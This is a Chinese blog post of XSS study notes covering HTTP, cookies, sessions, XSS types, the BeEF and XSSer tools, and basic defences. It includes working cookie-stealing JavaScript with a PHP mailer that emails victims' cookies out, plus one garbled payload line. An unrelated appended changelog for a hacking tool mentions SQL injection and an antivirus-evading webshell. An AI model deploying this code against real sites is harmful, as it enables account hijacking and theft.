网页脚本注入XSS漏洞

网页脚本注入XSS漏洞

内容为学习笔记,如有侵权,联系删除

XSS漏洞之学前基础

http协议回顾

HTTP请求方式

常用:

方法作用
GET请求从服务器获取资源
HEAD类似于 GET 请求,只不过不会返回实体数据,只获取报头
POST向服务器提交数据
PUT替换服务器的内容

不常用:

方法作用
DELETE请求服务器删除指定的资源
TRACE对链路进行测试或诊断
OPTIONS列出可对资源实行的操作方法,A1low 字段里返回
CONNECT要求服务器和另一台服务器建立连接,充当代理

HTTP请求格式

POST /article/1001.html HTTP 1.1   //请求方法+请求url+HTTP协议版本
Accept: image/jpeg, application/x-ms-application, ...,*/*  //代表能够接收服务端什么数据类型的返回
Referer: http://localhost:8080/article/1000.html    //代表这次请求是在哪个地址跳转过来的
Accept-Languce: zh-CNUser    //代表能够接收的服务器语言的类型
Agent: Mozilla/4.0(compatible;MSIE 8.0, Windows NT 6.1:Content-Type: application/x-www-form-urlencoded  //用于标识发送请求的客户端应用程序、设备或浏览器的身份信息,以便服务器根据用户代理的特征来优化响应或进行其他处理。
Host: localhost:8080   //用于指定目标服务器的主机名或IP地址,以便服务器正确处理请求并将其发送到正确的目标主机
Content-Length: 112   //主体字节长度
Connection: Keep-Alive   //用于控制TCP连接的状态,可以指示是否保持持久连接或关闭连接。keep-alive保持,close完成后关闭
Cache-Control: no-cache   //控制缓存行为,包括缓存有效性、存储与否、最大存储时间等参数
Cookie: JSESSIONID=46A877D8989FE6789AD8B78FE86A78
//上面都是请求头
name=wuya&password=123456    //请求体

http响应格式

HTTP 1.1 200 0K   //协议、版本、状态码、描述
Server: Nginx 1.18
Content-Type: application/json
Transfer-Encoding: chunked
Date: Fir, 14 May 2021 14:48:22 GMT
//上面是响应头
{"password""123456","userName"."wuya","birthday":null'salary":0,"realName"."wuyanzu","userld"."1000","dept"."teach"}    //响应体

F12网络中就可以看到

HTTP特点

  • 请求应答模式
  • 灵活可扩展
  • 可靠传输(工作在应用层,三次握手四次挥手)
  • 无状态 stateless(客户端每一次请求都是完全独立的)

客户端Cookie

第一次登陆后服务端以set-cookie方式下发cookie,在登陆后的访问中都可以使用该cookie而不需要重复登陆,cookie里面有一些标志性信息,如什么时候过期(expires、max-age)后者优先生效,用户信息和对什么网页生效(path)等,在url上面锁的标志即可查看。不同浏览器各自管理自己的cookie,互不干扰;
在这里插入图片描述
set-cookie格式:

参数描述
name必需,cookie的键值对的名称
value必需,cookie的键值对的值
expirescookie的过期时间
max-agecookie多久过期(单位是秒)
domaincookie对哪个域名生效
pathcookie匹配的路径
secure只有HTTPS连接,才发送cookie到服务器
httponly不允许通过脚本document.cookie去更改这个值

有过期时间的保存在磁盘上,没过期时间也不是永久有效,只要结束浏览器任务就会失效,也可以保存在内存里面

谷歌的cookie存放在…/Google/Chrome/User Data/Default/coookies中

特点

  • 1、明文
  • 2、可修改
  • 3、大小受限(视浏览器而定)

用途

  1. 记住用户登陆状态
  2. 跟踪用户行为

服务端Session

Cookie的问题:下发过多占用客户端过多的存储空间,增加通信成本

Session把客户信息存储在服务端,给客户下发一个SESSIONID的cookie,每次访问只需提供id就可以知道所有的信息。

session可以保存在磁盘或内存里面(有一个配置)

过程
在这里插入图片描述

代码实现

// 开启会话,产生sessionid
 session_start(); 
 if(isset($_POST['login'])) 
 { 
  $username = trim($_POST['username']); 
  $password = trim($_POST['password']); 
  if(($username=='')||($password=='')) 
  { 
   header('refresh:3;url=login.html'); 
   echo "用户名或密码不能为空,3秒后跳转到登录页面"; 
   exit; 
  } 

销毁

 session_start(); 
 //清除session 
 $username=$_SESSION['username']; 
 $_SESSION=array(); 
 session_destroy(); 
 //清除cookie 
 setcookie("username",'',time()-1); 
 setcookie("code",'',time()-1); 
 echo "拜拜, $username, 欢迎下次光临"; 
 echo "重新<a href='login.html'>登录</a>"; 

区别

在这里插入图片描述

JavaScript操作cookie

可以使用别的地方的cookie导入到自己的电脑浏览器上直接登陆

插件:cookie-editor,可以用export导出cookie,然后在另一个浏览器使用同一插件import导入cookie,就可以实现欺骗越权

那么如何远程获取到他人的cookie?XSS

JavaScript对cookie增删改查语法

  • 客户端读取cookie :alert(document.cookie);
  • 客户端增加cookie:document.cookie=“username=wuya”;
  • 客户端可以使用F12,Console里面直接执行JavaScript代码
  • 修改:新建一个同名的cookie,覆盖原来的cookie(属性必需一致)
  • 删除:把过期时间设置为比当前时间早的时间,setcookie(“username”,‘’,time()-1);

XSS漏洞之成因

恶意攻击者利用web页面的漏洞,插入一些恶意代码,当用户访问页面的时候,代码就会执行,这个时候就达到了攻击的目的。

测试方法:

<script>alert("RWEB666")</SCRIPT>    //弹出RWEB666

可以使用GET请求

http://localhost/xss/get.html?url=javascript:alert("RWEB666")

XXS漏洞之类型

反射型(dom)

个人愚见:就是每次都需要去进行代码注入,注入后才可以去执行,执行后下一次需要的时候再去注入,就是每一次都进行注入才能进行执行,所以叫做反射型
在这里插入图片描述
反射型xss需要诱导用户去输入payload:<script>alert("RWEB666")</SCRIPT>

或者访问目标url:http://localhost/xss/get.html?url=javascript:alert("RWEB666")

才能够获取目标用户cookie

存储型

个人愚见:就是服务器会把这个恶意代码存储到服务端,那么每个用户访问都会获得该用户的信息,比如说留言界面等,能存储起来
在这里插入图片描述

存储型的一个例子:
在一个登陆界面,我可以去注册一个账号,然后我在用户名位置输入特殊的JavaScript代码,注册成功后这段代码就会带入数据库保存起来,那么如果某个用户或管理员进行了我的用户的查询,那么浏览器返回数据,那么服务端就会将这段代码解析执行拿到查询的用户或管理员的cookie等信息

XSS漏洞之获得cookie发送邮件

这是获取cookie代码并发执行发送邮件脚本代码mail.js

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/xss/sendmail.php?mycookie='+encodeURIComponent(document.cookie);

这是发送邮件代码sendmail.php

<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'phpmailer/src/Exception.php';
require 'phpmailer/src/PHPMailer.php';
require 'phpmailer/src/SMTP.php';

$mail = new PHPMailer(true);                              // Passing `true` enables exceptions
try {
    $cookie = $_GET['mycookie'];
    if(isset($_GET['mycookie'])){
        // 服务器配置
        // !!! 注意PHP版本必须为7
        $mail->CharSet ="UTF-8";                     //设定邮件编码
        $mail->SMTPDebug = 0;                        // 调试模式输出
        $mail->isSMTP();                             // 使用SMTP
        $mail->Host = 'smtp.qq.com';                // SMTP服务器
        $mail->SMTPAuth = true;                      // 允许 SMTP 认证
        $mail->Username = '3499590161@qq.com';                // SMTP 用户名  即邮箱的用户名
        $mail->Password = '你的授权码';             // SMTP 密码  部分邮箱是授权码(例如163邮箱)
        $mail->SMTPSecure = 'ssl';                    // 允许 TLS 或者ssl协议
        $mail->Port = 465;                            // 服务器端口 25 或者465 具体要看邮箱服务器支持

        $mail->setFrom('3499590161@qq.com', 'wuya');  //发件人
        $mail->addAddress('3499590161@qq.com', 'wuya');  // 收件人
        //$mail->addAddress('ellen@example.com');  // 可添加多个收件人
        $mail->addReplyTo('3499590161@qq.com', 'info'); //回复的时候回复给哪个邮箱 建议和发件人一致
        //$mail->addCC('cc@example.com');                    //抄送
        //$mail->addBCC('bcc@example.com');                    //密送

        //发送附件
        // $mail->addAttachment('../xy.zip');         // 添加附件
        // $mail->addAttachment('../thumb-1.jpg', 'new.jpg');    // 发送附件并且重命名

        //Content
        $mail->isHTML(true);                                  // 是否以HTML文档格式发送  发送后客户端可直接显示对应HTML内容
        $mail->Subject = 'cookie' . time();
        $mail->Body    = $_GET['mycookie'];
        $mail->AltBody = '如果邮件客户端不支持HTML则显示此内容';

        $mail->send();
        echo '邮件发送成功';
    }
   
} catch (Exception $e) {
    echo '邮件发送失败: ', $mail->ErrorInfo;
}

只需要在网页注入代码

<script>alert(src=)</SCRIPT>

XSS漏洞之绕过

  • 标签

XSS漏洞之危害

  • 盗用账号,账号劫持:获取到cookie可以直接登陆到目标用户,从而进行盗用等操作
  • 钓鱼:用户点击后提示输入用户名和密码,用户以为是该网页的信息录入,实际上是我们盗用的
  • 键盘敲击记录:收录实时的用户键盘敲击记录等
  • 弹广告
  • 传播蠕虫病毒

XSS漏洞之XSS平台

  • 皮卡丘有自带的xss平台

  • 也可以使用在线的xss平台

    超强的默认模块,keep session是在服务端不要过期,获取cookie只用这个模块就可以了

  • 还有其他模块都可以使用

  • kali内也自带xss平台,叫做beef -xss

    直接使用beef -xss命令启动,然后把Example注入到某个地方,然后直接访问给出的url登陆

    默认用户名是beef,密码是123456,可以获取到浏览器的一些信息等包括commands等操作

    非常强大

XSS漏洞之检测

自动化检测工具XSSER:https://xsser.03c8.net/

可以使用kali安装,直接输入xsser会提示安装

命令:

xsser -u "目标url" --cookie=xxx   //有登录的可以加一个有效cookie

图形化界面

xsser -gtk

XSS漏洞之防御方法

  • 输入内容过滤,正则表达式,识别,处理(替换成别的),返回(可以对返回内容进行转义)
  • WAF:mod_security等
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Domain4.3(明小子)10.10.10更新版主要更新内容如下: 1.驱除部分死连接,恢复部分官方连接 2.改变默认显示页面为本人BLOG 3.修正程序在检测时出错的BUG 4.修正程序在部分系统中无法启动的BUG 5.加了一个功能模块,但还不成熟,隐藏了,高手的话可以用OD调出来!>!< 6.修复前段时间一些朋友反映的错误和程序宏 7.增加四款SKN皮肤! 10.10.11紧急更新: 1.修正新版程序在部分系统中启动后直接导致系统蓝屏的BUG 2.修正域名查询的几个错误 3.修正程序批量检测查询到域名的时候无反映的BUG! Domain4.2(明小子)10.01.16更新版主要更新内容如下: 1.删除所有无关数据 2.优化急速代码 3.改变启动线程 4.增加SQL数据批量导出功能 5.加入几个优化进程模块,非后门.后台运行. 6.锁定主程序栏目宽和高,不在恢复 7.删除“辅助工具”模块中全部代码 8.修正XP SP3 程序下兼容问题 9.重新改写域名查询旁站线程 程序于2018年01月16号调试完毕! 提别提示:第4个功能只能运行在完整版的windows XP 平台系统中,其他平台无法运行,如果出现恢复按钮并不能保存请自行调试与本程序无关.谢谢合作! 宝宝的话:有朋友们的鼓励才会有这个版本的发布,这当是我送给大家2010年里的第一个礼物吧。 Domain4.1(明小子)0901更新版主要更新内容如下: 1.增加新系统兼容模块,全面兼容2000-2008各系统 (部分精简版系统除外) 2.优化网站打开速度,删减部分无用内核信息,全面加快程序启动速度. 3.基于09.05.20号内核提升,改变搜查循环的一个死BUG! 4.删除在0520上增加的一个补针函数,并使用新的函数替换.保证不报错. 5.不在兼容xpsp3,因为没时间去修正这个错误。所以可能部分SP3系统运行不起来本程序 6.增加部分程序扩充空格代码,为下个版本更新做好铺垫 小提示:保留旧的IP反查连接系统,原因没有找到新的和稳定的IP反差服务器!如果有能提供的请与本人联系!谢谢合作 Domain4.1(明小子)0520更新版主要更新内容如下: 1.基于08.10.01号内核提升,修正一次关键错误。 2.替换原程序自带的那个小马,该为最新美化免杀版的小马! 3.添加一个服务器挂钩程序(非插件),使修改后的新内核兼容vista系统。 4.程序数据库默认名为:SetData.mdb 请大家使用3.5版本以上的MDB数据.其他低版本程序可能不兼容! 5.删除后台下载统计代码(以前没发现,本人也是从网站上面下的软件,排除作者自添加行为) 6.加了一个补针,针对sql注入功能中的一个小BUG。 7.删除了很多没有用的代码,最大限度的优化程序启动速度。 8.更新部分在xpsp3下出错的几个小BUG(小问题小解决,这个错误仅针对部分优化过度的XPSP3系统)。 提记:很多朋友说需要修改下程序IP域名查询功能,这里说明下.由于内核找不到关键句柄导致无法更新,下个版本在仔细看看! Domain4.0(明小子)1001更新版主要更新内容如下: 1.更新部分过度优化过的系统不兼容问题。 2.修改内存识别函数,使其降低软件在使用期间所占用的内存大小。 3.基于08.09.15号内核提升,修正因修改软件所出现的几个导致软件崩溃的几个BUG。 4.换了软件自带的那个垃圾皮肤。加入兼容美化皮肤!更美观! 5.兼容前版本数据库支持功能
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值